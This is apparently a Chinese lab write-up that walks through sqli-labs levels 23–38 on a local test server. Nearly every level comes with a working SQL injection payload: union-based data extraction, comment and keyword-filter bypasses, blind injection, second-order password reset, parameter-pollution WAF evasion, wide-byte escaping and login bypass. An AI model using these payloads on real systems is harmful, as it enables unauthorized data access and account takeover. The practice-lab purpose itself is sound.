Sqli-labs实验Task2(less23-38)
Less-23
进入实验页面可以看到又回到了最开始的类型,我们尝试一下有没有注入。
判断是否存在注入:
$ http://127.0.0.1/sqli-labs-master/Less-23/?id=1’
根据报错可以知道是使用单引号闭合的,继续测试。
猜测字段数:
$ http://127.0.0.1/sqli-labs-master/Less-23/?id=1' order by 1 -- #
但是发现无论怎样都报错了,显示语句有错误,猜测并经过后面的源代码查看可知是代码将—和#的注释和转义了,所以才会出错,这个时候我们就只能对后面剩余的单引号进行闭合了。
敏感信息获取:
$ http://127.0.0.1/sqli-labs-master/Less-23/?id=0' union select 1,user(),3 and '1'='1
这个比较简单,过滤了注释符号我们只需要注意闭合后面的单引号就行了
Less-24
这个是一个登陆界面的注入测试,首先看到和之前有一些不一样,下面有忘记密码和新用户注册,忘记密码的页面一般是存在注入可能性比较高的地方,去这个页面试试 :
这……这样子啊。还有一个注册界面,可以直接注册一个账号。
我们尝试在登陆界面进行注入测试,发现无法成功,很可能注入的点不在这。这个实验的题目叫做Second Degree injection,二次注入,思考思考,问题肯定没这么简单,我们先注册一个,然后登陆试试。
成功登陆后竟然还有修改密码的功能,放这里肯定没有,既然外面不能注入,那么很有可能在这里注入了。Have a try!
额,经过一些测试,发现还是不能注入,那么问题出在哪里呢?
进行代码审计看一下源代码:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
可以看到在pass_change.php这个文件里面没有对传入的username进行过滤。这样子,我们理一下思路,如果我们新注册一个用户名叫admin’ #然后我们登录了更改密码是不是就可以把admin 的密码改了呢?继续尝试一下。
登录之后更改密码为123,然后登出。然后用admin和123登录。成功!
这个实验的思路特别巧妙,基本没有代码审计的话很难会找到注入的点,所以没有及其敏感的意识很难找到漏洞。
Less-25
这个题很简单,我们一进页面就可以看到,告诉我们所以得or和and不能被使用,应该都被过滤了。这样有过一点经验的朋友一定很快就反应过来,这很简单了,绕过这种注释的方法有很多,比如编码转换或者大小写,双写绕过等,我们来试试看。
检查注入猜字段:
$ http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ order by 3 #
可以看到连order by里面的or都被过滤了。我们试试大小写绕过,发现不行,试试双写绕过:
$ http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ oorrder by 3 -- #
哈哈,可以,这样就很简单了!后面的过程就都差不多了。
Less-25a
这个和上一个差不多,也是提示or和and被过滤了。就是没有报错,试试双写绕过:
$ http://127.0.0.1/sqli-labs-master/Less-25a/?id=1 oorrder by 3 -- #
成功执行,试试敏感信息获取:
$ http://127.0.0.1/sqli-labs-master/Less-25a/?id=0 union select user(),database(),1 -- #
可以看到成功获取了,这里和上一个差不多,用的or和and的时候双写绕过就行。这个和上一个不一样的地方就在于这里是盲注,没有报错,上一个可以根据报错判断一些东西。
Less-26
这一次也是一样,我们的空格和注释不能用了,空格和注释被过滤了。试试用%20替换,发现也不行。注释也被过滤了那用注释绕过空格也不行了。换其他绕过方法试试。
测试过程中发现or和and还是继续被过滤所以记得双写。
试试利用括号绕过的盲注:
$ http://127.0.0.1/sqli-labs-master/Less-26/?id=1'anandd(ascii(mid(user(),1,1))=114)anandd'1'='1
成功绕过!这个是利用括号来绕过空格执行sql语句的方法,一般使用于盲注,可以看到我选择的是user用户名的第一个字符r的ascii码刚好对于114,成功输出。如果后面的条件不成立就不输出,这样就可以盲注啦。注意双字节绕过or和and。因为注释也被过滤了,所以也要注意对后面的引号进行闭合。
Less-26a
这个也是一样过滤了注释和空格。这个和上个差不多只是把报错给过滤了,使我们看不到报错,不过对于盲注来说这没有太大的影响,我们使用上一个的语句依旧可以注入!
Less-27
这一次更狠,union和select被过滤了。经过简单的测试我们发现,这次没有过滤and,or,但过滤了空格和注释。
简单的测试一下:
$ http://127.0.0.1/sqli-labs-master/Less-27/?id=1' and '1'='1
成功的,那么对于过滤了union和select。但是发现union双写可以绕过,select双写不行,但是大小写能绕过,那就很简单了,和之前的注入差不多:
$ http://127.0.0.1/sqli-labs-master/Less-27/?id=1'and(ascii(mid(user(),1,1))=114)and'1'='1
语句和之前的差不多,主要是绕过空格的,而遇到有select和union的语句只需要大小写绕过就可以了!
Less-27a
原本以为这个和上个差不多,但是发现执行语句:
$ http://127.0.0.1/sqli-labs-master/Less-27a/?id=1'and(ascii(mid(user(),1,1))=1144)and'1'='1
返回正常显示id=1的数据,无论我ascii的值输入多少都显示这个页面。
测试后发现这个闭合时双引号。换成语句:
$ http://127.0.0.1/sqli-labs-master/Less-27a/?id=1"and(ascii(mid(user(),1,1))=114)and"1"="1
其他的和之前都差不多。
Less-28
这一次可以根据页面提示看到union和select被过滤了。
尝试猜测闭合:
$ http://127.0.0.1/sqli-labs-master/Less-28/?id=1')and('1')=('1
正常返回说明单引号闭合。且存在注入,过滤空格,注释。
获取数据:
$ http://127.0.0.1/sqli-labs-master/Less-28/?id=1')and(ascii(mid(user(),1,1))=114)and('1')=('1
和27差不多。只是闭合方式不同
Less-28a
这里只有union和select被过滤,其他的都没被过滤。这个就更简单了,只需要绕过union和select就足够了,参考上面几个很容易就可以成功注入。
随便给一个例子:
$ http://127.0.0.1/sqli-labs-master/Less-28a/?id=0') unionunion select select user(),database(),1 and ('1')=('1
环境配置说明(less29-32)
这四个实验使用到waf,基本原理可以看一下网上的一些博客,大多都有详细说明,比如:http://www.cnblogs.com/lcamry/p/5762961.html。
因为我使用的是phpstudy,所以也大概说一下我是如何配的。
- 下载tomcat,解压就行。
- 将tomcat-files.zip解压到tomcat服务器webapp/ROOT目录下,并将29,30,31里的跳转url改为我们自己的。每个人不同,比如我的跳转url设置的是http://127.0.0.1/sqli-labs-master/Less-29/index.php?id=1。32里面要设置数据库的连接密码。
- 下载安装好java环境,可在cmd输入javac测试。
- 将下载的mysql-connector-java.jar文件放到tomcat解压文件夹的lib文件夹中
- 点击tomcat/bin/startup.bat文件启动tomcat就可以啦。弹出的jar文件不能关掉,不然不能访问tomcat了。
然后我们就可以通过访问(tomcat默认开启8080端口)tomcat目录里面的四个实验进行测试了!
Less-29
可以看到这里页面提示是是使用了世界上最强大的waf,废话不多说我们之间进行挑战看一看。
首先判断闭合情况:
$ http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=1'
稍微解释一下,因为我们是tomcat和apache两重的服务器端的,所以我们需要进行两个id的传参,那么如果前后两个传递的不相等会怎么样呢?
如果是id=1&id=2,那会显示什么呢?
apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。
此处应该是id=2的内容,因为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。
那么继续测试,我们使用单引号进行闭合了,看看页面相应:
已经很明显就知道是单引号闭合了。
后面其实就很简单了,获取敏感信息:
$ http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=0' union select 1,user(),database() -- #
很容易获取,但是虽然看着很简单,我们进行代码审计可以看到,这是因为jsp代码中只对tomcat的传参进行了过滤,并没有对后面apache传入的进行防范,所以很容易就成功了。
其他的可以自己构造语句进行测试。
Less-30
这个和上个差不多,只不过把报错屏蔽了,把闭合换成了双引号。
$ http://127.0.0.1:8080/sqli-labs/Less-30/index.jsp?id=1&id=0" union select 1,user(),database() -- #
其他可自己继续进行测试。
Less-31
依旧差不多,有错误提示,闭合是双引号加括号。
$ http://127.0.0.1:8080/sqli-labs/Less-31/index.jsp?id=1&id=0") union select 1,user(),database() -- #
Less-32
这一次不一样了,试了很多闭合发现依旧正常返回,第一个反应就是不是第二个传参,而是第一个传参,所以对第一个进行测试:
$ http://127.0.0.1:8080/sqli-labs/Less-32/index.jsp?id=1') -- #&id=1
多试几次便可知道闭合方式是单引号加括号。
敏感信息获取:
$ http://127.0.0.1:8080/sqli-labs/Less-32/index.jsp?id=1') union select 1,user(),database() -- #&id=1
突然发现这里还没有限制输出。。。
Less-33
回到之前的apache的服务器的实验链接。
首先观察一下新的挑战的页面的提示多了一行。上面一行是我们的传参,下面一行是我们输入的十六进制编码之后的数,我们可以用hackbar进行hex encode看看1编码之后就是31。
闭合测试:
$ http://127.0.0.1/sqli-labs-master/Less-33/?id=1'
果然,被过滤了,那么我们就考虑如何绕过这个过滤。在之前也遇到这样的问题我们试着绕过看看。这里是反斜杠过滤,可以看到下面的hex编码是5c,对于这个有着典型的绕过方法—宽字节注入。
大概说一说这个宽字节注入。我们的mysql在使用gbk编码的时候会将两个字符看成一个汉字(前一个字符的ascii码必须大于128才能到汉字的范围)。所以这个时候如果我们构造一个如下的:
$ http://127.0.0.1/sqli-labs-master/Less-33/?id=1%df%27
就会报错!
可以看到报错出现一个乱码,因为mysql不支持那个中文字符。同时后面的单引号也逃逸出来了,这就是因为mysql将%df%5c两个字符当成一个汉字来看,我们就绕过来这个反斜杠了。想要了解更多可以google宽字节输入看看。
敏感信息获取:
$ http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df%27 union select 1,user(),database() -- #
Less-34
这次又回到了登录框的注入。
随便一个万能密码试试:
果然,又是反斜杠过滤了,这里是post的传参,要过滤反斜杠,参考上面的。因为上面是url传参,所以可以用url编码构造宽字节绕过,但这里是post,我们是否可以构造其他的编码来绕过反斜杠呢?
这里我们使用另一种构造:将utf-8转换为utf-16或 utf-32进行过滤反斜杠。我们通过网上的工具,将utf-8的单引号转换成utf-16的:将'转为utf-16为�',然后我们就可以用万能密码进行登录了。账号填:
$ �' or 1=1 -- #
密码随便填就可以成功登陆啦。
## Less-35
有一个新挑战,尝试闭合发现被反斜杠过滤了,尝试宽字节注入,发现也不行!但是在测试的时候我们发现,这里的id是没有被闭合的。。。。所以直接就可以注入!
``` bash
$ http://127.0.0.1/sqli-labs-master/Less-35/?id=0 union select 1,user(),database() -- #
这个比较简单,不要想多了。
Less-36
这个和上面的差不多:
$ http://127.0.0.1/sqli-labs-master/Less-36/?id=0%df%27 union select 1,user(),database() -- #
宽字节注入。
结合上面的我们也可以利用utf-16进行注入:
$ http://127.0.0.1/sqli-labs-master/Less-36/?id=0%EF%BF%BD%27 union select 1,user(),database() -- #
Less-37
这个和34的差不多,用户填:
$ �' or 1=1 -- #
密码随便填就可以成功登陆,原理和34差不多。只不过源码部分用不同的函数过滤。
Less-38
emmmmmm这个也很简单:
$ http://127.0.0.1/sqli-labs-master/Less-38/?id=0' union select 1,user(),database() -- #
基本都在前面出现过。
part2的部分也结束了,会尽快把后面的也写上来的!